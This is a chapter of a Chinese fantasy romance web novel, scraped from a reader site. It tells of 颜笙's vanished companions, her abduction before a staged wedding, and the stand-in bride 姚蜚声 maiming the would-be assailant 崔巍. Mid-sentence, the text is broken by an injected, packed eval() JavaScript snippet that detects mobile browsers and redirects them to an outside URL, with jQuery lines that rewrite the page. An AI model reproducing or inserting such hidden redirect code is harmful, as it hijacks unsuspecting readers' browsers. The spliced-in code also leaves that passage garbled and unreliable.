默认冷灰
24号文字
方正启体

73. 天道终谜

作者:娇莺不语本书字数:K更新时间:
    颜笙在书房醒来时,天已微亮。手边的联络石正幽幽闪着四个字:“逝水世界”。她立刻呼叫陆析,却迟迟无人应答。


    她顿生不安情绪,她匆匆赶至竹林小楼。推开门,屋内空荡荡,陆析已不知去向。她走到床边,掀开枕头,另一块联络石静静躺着,屏幕上映着的正是她方才发出的讯息。


    陆析也失踪了?


    她环视四周,房中整齐干净,没有丝毫打斗或挣扎的痕迹,与昨夜橘猫失踪时的情形截然不同。陆析就像是凭空消失了。


    颜笙施法调取鹤冲山山门出入记录:从昨夜到今晨,抱朴派并无任何弟子离开。


    思来想去,她转身朝人面树走去。昨夜她曾见陆析在此与子幽交谈。颜笙抬手施法,身形一闪,没入树干之中。


    树内一片漆黑。她静静站在原地,不一会儿才适应眼前的黑暗。


    突然,有刺目光芒在黑暗之中撕开一道口。颜笙抬手遮眼,待光芒渐敛,前方现出一面长方形镜框,框中映出子幽的身影。


    子幽看清对面的人,愣了愣:“怎么是你?”


    颜笙开门见山:“天道不见了。他可有向你说过会去哪里?”


    子幽脸色骤变,显然并不知情,急忙追问:“怎会如此?那你与崔攸霁的大婚在即……该如何处置?”


    颜笙沉吟道:“他不像是会中途放手的人,除非遇到了无法预料的变故。”


    子幽迟疑一下,低声道:“有句话,不知当讲不当讲。”


    “直说。”


    “其实,天道是从袁思邈手中临时接过此事的。桃源境中的玄鸟势力,也并非由我笼络,而是袁思邈多年暗中经营。而他……也是突然失踪的,离开前只留下‘逝水世界’四字。外界都传言,他是去寻裴天骄了。””


    “又是逝水世界……”颜笙喃喃,“昨夜陆析也只留下这四个字。”


    子幽问:“他可还留下别的线索?”


    颜笙摇头。


    子幽又道:“袁思邈失踪之前,除了留下那四字,还曾对我说过一句话。那时我不解其意,他只说,此话不要声张,等到天干顺生之日,再将这话转告于你。他说……你会明白其中含义。”


    颜笙抬起眼:“今日便是天干顺生日。”


    子幽脸色凝重,缓缓道:“袁思邈对我说的是‘天威弗成’。”


    “他的意思是……天道不可信?”颜笙蹙眉。


    “若真如此,他又怎会将多年经营的玄鸟势力尽数交予天道?”子幽摇头,“我倒是觉得,此话更近于‘天畏棐忱’之意,是说天命瞬息万变。颜儿,你可愿执掌天道之位?”


    颜笙静默片刻。


    “事情恐怕没这么简单,”她轻声道,“容我再想想。”


    之后半月,颜笙埋首书房里,处理日常公务。除偶尔出面主持礼部祭祀,她鲜少开口,神情亦比往常更为寡淡,让人远远便觉得欢寡愁殷。


    她以筹备婚事为借口,与子幽等人走得越来越近,但对于袁思邈留下的谜语,她至今仍未找到“天畏棐忱”之外的其他解释。


    一晃数月,神尊果然正式公布颜笙与崔攸霁的婚事,并宣布颜笙将休一月长假。礼部诸事暂由崔攸霁之女崔瑶代理。


    *


    婚宴当日的清晨,急促的冷风将颜笙吹醒。她睁开眼时,躺在柔软的榻上,太阳穴阵阵作痛。


    她揉了揉额角,记得前一夜还伏案于书房,怎的今日醒来却身在他处?


    颜笙坐起身,一眼认出此地竟是陀铃火渊。


    张脆枣端着一盅姜枣茶,快步而来,恭敬地递到她手里:“此处气候乍冷乍热,夫人当心受寒。昨夜回来太急,主子还没把温度调稳……夫人在此先等等。”


    颜笙掀被便起:“今日便是我的婚宴。你们把我掳来这里做什么?我不是与陆贺年说得明明白白,和崔攸霁的婚事只是走过场。”


    张脆枣面露为难:“这……是主子的命令。老奴不敢违令。”


    “你且退下。让他滚过来。”


    话音落地,颜笙才看向身后,陆贺年便已无声地出现在她背后,将她整个人揽入怀中。


    颜笙挣开他,手一抖,从两仪袋中抽出束三生,横在两人之间:“先让我把婚宴处理完,然后我们在一起去救圆胖橘他们。”


    陆贺年盯着她:“‘他们’?也包括陆析吧。”话刚出口,他便夺去颜笙的鞭子,随手丢在一旁,又步步逼近。


    颜笙抬手,欲召鞭子回来,却瞬间察觉到对方的威压,束三生缩在一旁,团成一团瑟瑟发抖。她面对此景,只得不断后退,直至退到墙角。


    陆贺年俯身,唇贴近她耳畔:


    “我不想去。”


    “那圆胖橘怎么办?”颜笙反问。


    陆贺年语气冷淡:“瑶儿比他更听话省心,对生身父母感情淡,反倒更亲近我们。我们一家三口远离纷争,在无常界隐居……不好吗?旁人死活,与我们何干?”


    “圆胖橘也是旁人?”颜笙轻嗤:“之前就觉得你对养女过分热心,对亲生子却淡得异常。我起初还当你是缺心眼,现在才明白过来,你从未把圆胖橘当做自己骨肉。”


    陆贺年伸手捏住她下巴,迫使她与自己对视。他捏得极为用力,见她似乎努力忍耐着疼痛,赶忙放开手。他缓声道:


    “这件事,我原谅你。”


    “原谅?”颜笙白他一眼,指尖碰向泛红的下巴,“你早就发现他有天道之力,便认定我红杏出墙。你嫌他碍眼,过去的偏心也源于此。甚至他在鹤冲山避祸时,全都是崔瑶自作主张接济他,你只是附和罢了。”


    陆贺年到:“我能给他延寿丹,已是仁至义尽。”


    颜笙气笑了:“要不说香火服招笑呢?哪怕孩子跟你姓,你却无法确定他是否你血脉的延续,即便我说过无数遍那孩子是你的。”


    “我身上并没有让万物逢春的法术。”陆贺年立刻接口。


    颜笙继续用力地笑,“很好。以后圆胖橘就是我一个人的孩子。”


    两人对峙间,崔瑶端着茶水走进来。她先向陆贺年一礼:“义父,今日我生父崔攸霁大婚,我必须出席。可渊内禁制似乎变了,没有您的钥匙,我出不去。”


    她说着,将一杯茶递给陆贺年,又将另一杯递给颜笙:“上神请稍候,义父送我之后便回来。”


    颜笙接过茶时,指尖触到一粒冰凉的小物什。崔瑶往她手心中塞了什么,面上却无半分异常。


    自崔瑶和陆贺年走后,颜笙亮出手心,发现手心里握着的是块形态特殊的联络石,大概又是崔攸霁发明的特别玩意儿。


    那块联络石长了脚,忽地朝掌外纵身一跃。它忽地消失,化成一片悬于空中的长镜,里面映出子幽的面容。


    这块联络石其实一直开着,子幽完全听到了刚才的对话,他看见颜笙时满眼的担忧。


    颜笙道:“无事,陆贺年不会伤我。今日大婚按我们第二计划行事。我把一成法力封在东南厢房的蝉灯下,你叫蜚声去取,足够她近日防身。”


    子幽道:“她就在旁边,已经去取了。只是……陀铃火渊最近改了禁制,里面的人除去陆贺年,根本出不去,你如何离开?另外……圆胖橘真的是陆归年的孩子?”


    颜笙道:“他就是陆贺年的孩子,只是他不信。子颜的记忆我已经恢复了,她没有特别喜欢过谁。她所做的一切,只想着让奉天的继承者拥有玄鸟的血脉。陆归年作为陆家庶子,哪里轮得上继承?更不在同她生育的范围内。”


    “那圆胖橘身上的天道之力是怎么回事?那不是天道唯一的象征?”


    “父王可还记得袁思邈留下的谜语——‘天威弗成’?”颜笙问。


    子幽点头:“记得,意思大抵类似于‘天畏棐忱,命不于常’1。难不成……天命转移到圆胖橘身上了?”


    “他们两个都有天道之力。”颜笙摇头:“我们眼中的‘天道陆归年’,只是天道规则的守卫。被赋予力量的守卫并不唯一。而在天道之上,还有其他更强大的存在。”


    子幽沉思:“你指的是元思邈的妻子柔栀仙子?玄鸟与奉天二族皆传出自她之手。”


    “不止。陆征年亦是。他们之上是否还有更高……我也不能断言。”颜笙说着,从腰间取出锦囊,“这是陆征年先前赠予我的,他似乎早预料我会有今日。”


    “这两位高阶神灵都是偏心奉天一族的。“子幽忿懑道。


    颜笙却道:“他们覆灭玄鸟国,并非出于私心。“


    “通常而言,统一的人族王朝大约两百年更替一次。但玄鸟却屹立五百余年,长久稳定的政权使得阶级彻底固化。社会资源集中于顶层的少数人手中,难以向下流动。结果少数人占有的资源越来越多,而大多数人的生存资源却日益贫瘠。长此以往,这必将危及人族的生生不息。”


    她说完这话,叹了一口气:“父王你看。陆归年离去的那些年,人族社会再无变革,不到一千年便灭绝了。”


    子幽道:“那我们现在该怎么办?重整天道荣耀?”


    “你继续执行计划,其他……我自有安排。”颜笙掐灭光幕,收起联络石。她觉察外面陆贺年已经送别崔瑶,正在回来的路上。


    颜笙低头,目光落在陆征年赠予她的锦囊上,忽想起他曾说——


    若有一日你后悔自己的选择,便可打开这锦囊。


    “嗤啦——”


    锦囊开口的瞬间,从里面释放出刺目的强光。那股光芒直扑向她的脑门,充盈而澎湃的灵力涌入她的灵脉。这份灵力不同与她的先天之力,虽融入灵脉之中,却不知如何调动。


    她尚未来得及辨明这灵力什么,锦囊口化作扭曲漩涡,将她整个人吸了进去。


    光芒散尽。


    锦囊消失不见,蜕作一纸薄信,信封中央处落着四字:


    “二哥亲启。”


    *


    显熠宫上空,浓雾未散。


    今日是颜笙大婚之日。宫外依旧冷冷清清,宫内却回荡着频繁的脚步声,其间夹杂着细碎而清越的玉石碰击声。想来是神使们正为新娘梳妆更衣,来来回回忙碌不休。


    不久,新娘颜笙由莲江仙与南歌子搀扶着,登上了花轿。姚蜚声、张脆枣与陆贺年始终没有现身。自清晨起,他们的房门便紧紧闭着。


    婚礼的高台建于桃源仙境,天光在此处徘徊,漫天洛神花瓣如雨洒落,将长阶染成一片绚烂的红。


    这座高台临水而起,雕梁绘栋,其上玄鸟纹样盘旋欲飞。据说是崔巍亲自设计,以彰崔家诚意。台子坐落于崔攸霁的清凉殿与崔巍的居所之间,距颜笙所居的显熠殿倒有一段距离。


    仙阶长达万丈,她拾级而上,花瓣不断落在朱红的嫁衣上和精致的头冠上。落满花瓣的裙摆,缓缓拂过阶绿,而她身姿挺拔,宛如向阳攀升的藤蔓。


    颜笙登上高台,与崔攸霁相对行礼。


    微风恰在此时徐徐而过,拂起盖头一角,露出令朝霞都要嫉妒的容色。


    高堂席位上,崔巍登时怔住。他早有耳闻颜笙姿容倾世,但平日里她常是素面无妆,发型和衣着皆是一成不变的寡淡,加之姿态盛气凌人,他从未仔细观察过她的五官容貌。今日一见盛装之下的颜笙,竟比传言中更耀眼三分。


    崔攸霁抬眼,正撞见父亲眼底一闪而过、掩饰不住的贪意,不由得眉头轻皱。


    礼成声落,他不等司仪再言,便已牵过新娘的袖缘,近乎急切地向阶下走去。颜笙嫁衣迤逦,视线被盖头遮蔽着,下阶时步态难免踉跄。忽然脚底一软,她身形微倾,险些跌倒,却被崔攸霁稳稳扶住。


    崔攸霁觉察背后崔巍的目光,忙低声道:“得罪了。”随即一弯腰,直接把她横抱起来。


    盖头之下,颜笙愣住了,用力掐了一把他的胳膊,“放我下来——”


    周围无数双眼睛盯着这对新人,满脸看好戏的调侃神色。


    崔攸霁似未感到痛,反而将人抱得更牢靠,笑着低声相劝:“别误了吉时。”


    这笑意似引得颜笙更加不悦,她再次掐上崔攸霁,越掐越用力,压低声音:“一个人抱着怪累的。前面就是轿子,我好歹是上神,自己走就——”


    “不用。”崔攸霁语气平稳,也听不见一丝恼火,反因感受到熟悉而怀念的疼痛感,故意放慢了脚步。说罢,他竟徒步往清凉殿走去。


    四周仙官齐齐起哄:


    “哎呀呀,崔六公子这是心急了!”


    “啧,是新台起得急吧!”


    “人和台,总有一个急的。”


    子幽捋捋胡子,目光落在南歌子脸上。她轻皱眉头,眼底满是犹豫,与一旁的莲江仙互望一眼,后者轻轻点头,像是在安慰她。


    唯独崔巍嘴角垂着,端起茶杯,却半盏未饮。


    崔攸霁抱着颜笙一路下台。轿子停在殿前。


    颜笙双手环抱着崔攸霁的脖子,指甲却故意掐他柔嫩的脖子,在他耳边尽力保持体面地嘀咕:“快放我下来。”


    崔攸霁不为所动,像是失去痛觉似的,但看他额头已经沁出汗珠。


    “……你抱着我,很累的。”她指了指轿子:“我坐轿子回去便是。”


    崔攸霁看着她,被盖头遮住的小幅挣动,忽地笑意轻浅,却更加不肯松手。


    “你不知道。”他抱着她的力道微微收紧,像是怕她从怀里滑走,“我曾多少次想这样抱着一人。”


    周围的仙人听见这话,皆是高声起哄“哎呀呀。”“这话大白天可不兴说””这俩人怎么不知道脸红。”


    盖头之下,颜笙两弯柳叶眉紧锁,未见有任何喜色,收紧了掐他的指甲。


    进入寝殿后,崔攸霁才将颜笙放下,他摸了摸刚被解救下来的脖子,渗出些血痕。他没有抱怨,给自己施了个简单地疗愈术,又到桌边倒了一杯水,一饮而尽。


    颜笙悄悄撩开盖头,偷觑婚房摆设:没有红绸,没有喜饰,完全不像是一个婚房。


    她放下盖头,嘴角微扬。又往旁边挪了一步,空出一块小位置,拍了拍床铺,示意崔攸霁坐下。


    崔攸霁却偏过头,朝门口走了两步,欲赶快离开。


    就在此时,一缕白烟穿过门缝悄悄渗了进来。


    又是崔巍的眼线。


    他抬手欲将白烟击散,白烟却不闪不避,反倒直扑向他的面门。崔攸霁来不及闪躲,双目瞬间失焦,人软倒在地。


    白烟随即化为人的模样,只是眼珠子黑黝黝的,泛着精明的光——竟是崔巍。


    他在婚礼上瞥见颜笙,心里勾起一股难以消退的邪火,便准备今晚闯入婚房,代子成婚。


    崔巍走向床榻,与颜笙并排坐着,从旁取来两只白玉酒杯,递给了她。


    “早听闻你宫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273669|193324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中藏有男子,也知你并非真心嫁我。”他语气温柔近乎伪善,“不如今夜与我小酌一杯,便算是礼成。明日也好向父王交代。”


    言罢,崔巍即往杯中斟酒。


    烛光荧荧,颜笙仍覆着盖头,素手握着白玉杯,白净肌肤与白玉杯交相辉映,看得崔巍心驰神摇。


    颜笙抬袖饮尽杯中酒,忽而身子一歪。


    崔巍伸手,欲揽她入怀,不料胳膊忽地剧烈一痛。再低头看去,整条胳膊已落在地上,鲜血向地面蜿蜒流淌。


    盖头下传来厉声呵斥:


    “你爹的,居然敢给女子下药,谁给你的胆子?”


    崔巍仓惶弯腰,想要捡起断臂,指尖尚未触及,便见颜笙掀开盖头,眼底失光。她纤细的手掌灵气凝结,凝出一柄沉重大刀。


    那刀子飞到断臂上空,上上下下几次。


    刀光停下时,断臂已被剁成肉泥。


    颜笙又从四象袋里掏出一个小碗,慢条斯理地舀了碗肉泥,递给崔巍:“初遇时,你还误会我会做‘仙肉包子’么?”


    她歪了歪头,笑意冰冷,“你看,这才是‘仙肉”。”


    崔巍面色惨白,后背汗毛竖起,眼前出这位颜笙仙子哪里还是像个仙子,倒像是幽冥爬上来的女魔头:“你真是颜笙?”


    颜笙摸着大刀,碰了一下大刀上面滴着的一滴血,冷笑:“我可是有过大婚当日杀夫证道前科,就这你还敢娶?知道你变态惯了,想体验陆归年的八十一刀套餐。”


    俗话说,冤枉别人的人最知道别人冤枉。


    崔巍道:“怎么可能。你根本没做过杀夫证道这事,那八十一刀也不是你砍的。我当时就在旁边看着,你当时昏死在旁边,脑袋还磕破了。”


    他登时神经错乱,甚至怀疑起来眼前和千年前的记忆总有一个是假的。


    他踉跄转身,只想逃。


    但崔巍的意图被颜笙觉察,她收起大刀,又释放出无数道光束,化作锁链缠住他的全身。她又端起塌边蜡烛,缓步逼近。


    “我说崔攸霁崔老六啊,”她扯着他的衣领,火光在她瞳孔里跳跃,“我们初遇那日发生过什么,你是真的全忘干净了?”


    她把蜡烛举到领口附近,手腕微倾,滚烫的蜡油一滴一滴落下,滑到他脖子上,灼红了白皙的皮肤。


    “啊——!”崔巍吓得几乎魂散,急将自己化成烟雾。真是偷鸡不成蚀把米!同时,他唤醒远处被打昏的崔攸霁,企图自己溜之大吉。反正他刚才披着崔攸霁的外壳,不如由真正崔攸霁替他背锅受罚。


    不过他这点小伎俩,在颜笙面前无所遁形。


    颜笙不紧不慢地掏出一颗宝珠,将那股烟雾吸入其中。她猛摇几下珠子,里面的烟雾淡了,她才发现珠内翻滚的,竟是一只黄皮子精。


    “哈,黄皮子?”她嗤笑一声,“这蠢样,倒真像崔六他爹。”


    “不对……”她拍了拍脑门,忽想到:“崔六遗传他娘,是只鲲仙才对。”她捏着宝珠摇了摇,瞅着黄皮子崔巍在里面翻跟头,摔得极其狼狈的模样,不由得感慨道:“难怪花否总叫我少说脏话,这‘他爹’都给我召出来了。”


    颜笙说完,顺手把珠子塞进四象袋里,自言自语道:“以后真得少说些难听的话。明明这次下定决心,要温柔待老六,免得他又跑路……”


    她话音未落,稍微侧身,便整个人落入一个温热的怀抱。


    真正的崔攸霁低头,将脸埋在她肩窝,声音轻得像怕惊到她:“你做自己就最好,无须改变。我喜欢的就是这样的你。”


    颜笙推开他,话音里带着质疑与一丝未消的怒气:“你该不会真想与颜笙春宵——”


    话没说完,他的唇已然坚定地覆上来。


    这突如其来的吻让颜笙彻底怔住,她脑中一片空白。她好不容易反应过来,狠咬崔攸霁的下唇。与此同时,她的右手摸向自己的脸颊的轮廓,指尖在上下摸索着。


    崔攸霁没有退缩,反而伸手覆上她的手背,将她不安的手指按下。他贴着她的唇,低声哄道:“蜚声,别动。扯太快你会痛……我来。”


    他这才推开一点距离,从怀中取出一只小药瓶,将药水倒在自己掌心,随后用指尖蘸取药水,极其轻柔地摸着她脸颊的轮廓,顺着边缘,缓缓揭下那层精致的人脸面具。


    轻薄的面具落下,露出姚蜚声的真正面容。


    姚蜚声深吸一口气,将今日出嫁前发生的事悉数,原原本本地告知崔攸霁。


    原来,天道的第二计划,便是让姚蜚声扮作颜笙,替她完成这场婚礼。为防万一,颜笙在离开前,将自己的一成法力暂借给了姚蜚声,以备不时之需。


    颜笙当时说,这一成力量,足以应对桃源境内绝大多数的神仙。姚蜚声起初还将信将疑,毕竟陆贺年的实力不俗,哪怕颜笙十成力道也未必能应付。


    直到方才她用这一成力量,轻易卸了崔巍的胳膊,她才真切体会到这股力量的强大。这崔巍可是桃源境的神尊。


    只不过,姚蜚声随即察觉到了一件怪事:她对神尊下了如此重手,身上却并未浮现出任何类似陆贺年当年受过的天道罚印。


    崔攸霁闻言,解释道:其实颜笙上神离开前曾与我提过,她留意到陆贺年身上的罚印,位置似乎时常变化。”


    “你的意思是……那罚印可能是假的?”姚蜚声蹙起眉,“可他为何要假冒这个?就为了名正言顺待在陀铃火渊里受罪?又不是人人都像你好这口……”


    崔攸霁假咳一声,掩去羞赧之色,接道:“或许,最早罚印是真的。但后来陆归年修改了天律,弑神罪有了新的定义,旧罪消失,罚印本应自然消失。只是那时陆贺年已在陀铃火渊经营起一股不可小觑的势力。他继续留着那道‘罚印’,多半是为了出入方便,也好维持他在那里的名头。”


    姚蜚声一脸茫然,摇了摇头,“这些东西,我都听不懂。”


    “无妨,”崔攸霁温声说道,目光落在她的脸上,久久未移开。他们两个分别万年,再重逢后也没好好面对面看过彼此。今日终于能光明正大地看着她,同时也完成了万年的夙愿。


    他抬手拉下床帐的帘幔,将爱人拢入帐内,“那些烦心事就留给颜笙去烦心吧,我们过好自己的日子。”


    两人静静对坐了一会儿,纱帐内只有彼此呼吸声,未见一人有所行动。崔攸霁忽而探出脑袋,将外面仍在燃烧的蜡烛端进了帐子。


    烛光映得姚蜚声脸上微红,她羞道:“你拿这个进来做什么,我还怕你害羞,刚想把蜡烛先熄灭了。”


    崔攸霁将烛台举在两人之间:“我怕屋内一暗,你又会消失。”他说完,轻轻握住她的手,把蜡烛放到她的掌心。随后,他朝她探出自己的手背,微微蜷缩着,似是等待着什么。


    姚蜚声垂目,看向手里灼热燃烧的蜡烛,又看了一眼他递到面前的手背,忽而明白了他的意图,一时怔住:“洞房花烛夜……你确定要这样?”


    崔攸霁耳根泛红,支支吾吾:“其实………方才我虽昏迷,意识却是醒的,一直在旁边听你们聊。”他抬起眼,目光映着烛火,专注地望着她,似是恳求:“要不,你带我……再回忆一遍初遇那日的事?”


    姚蜚声看着他无辜的眼睛,有低头望了望掌中蜡烛上方急烈跳跃的火光,想起两人在幽冥渡过的第一个夜晚。她脸上一热,倾身吻了一下崔攸霁的耳朵。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)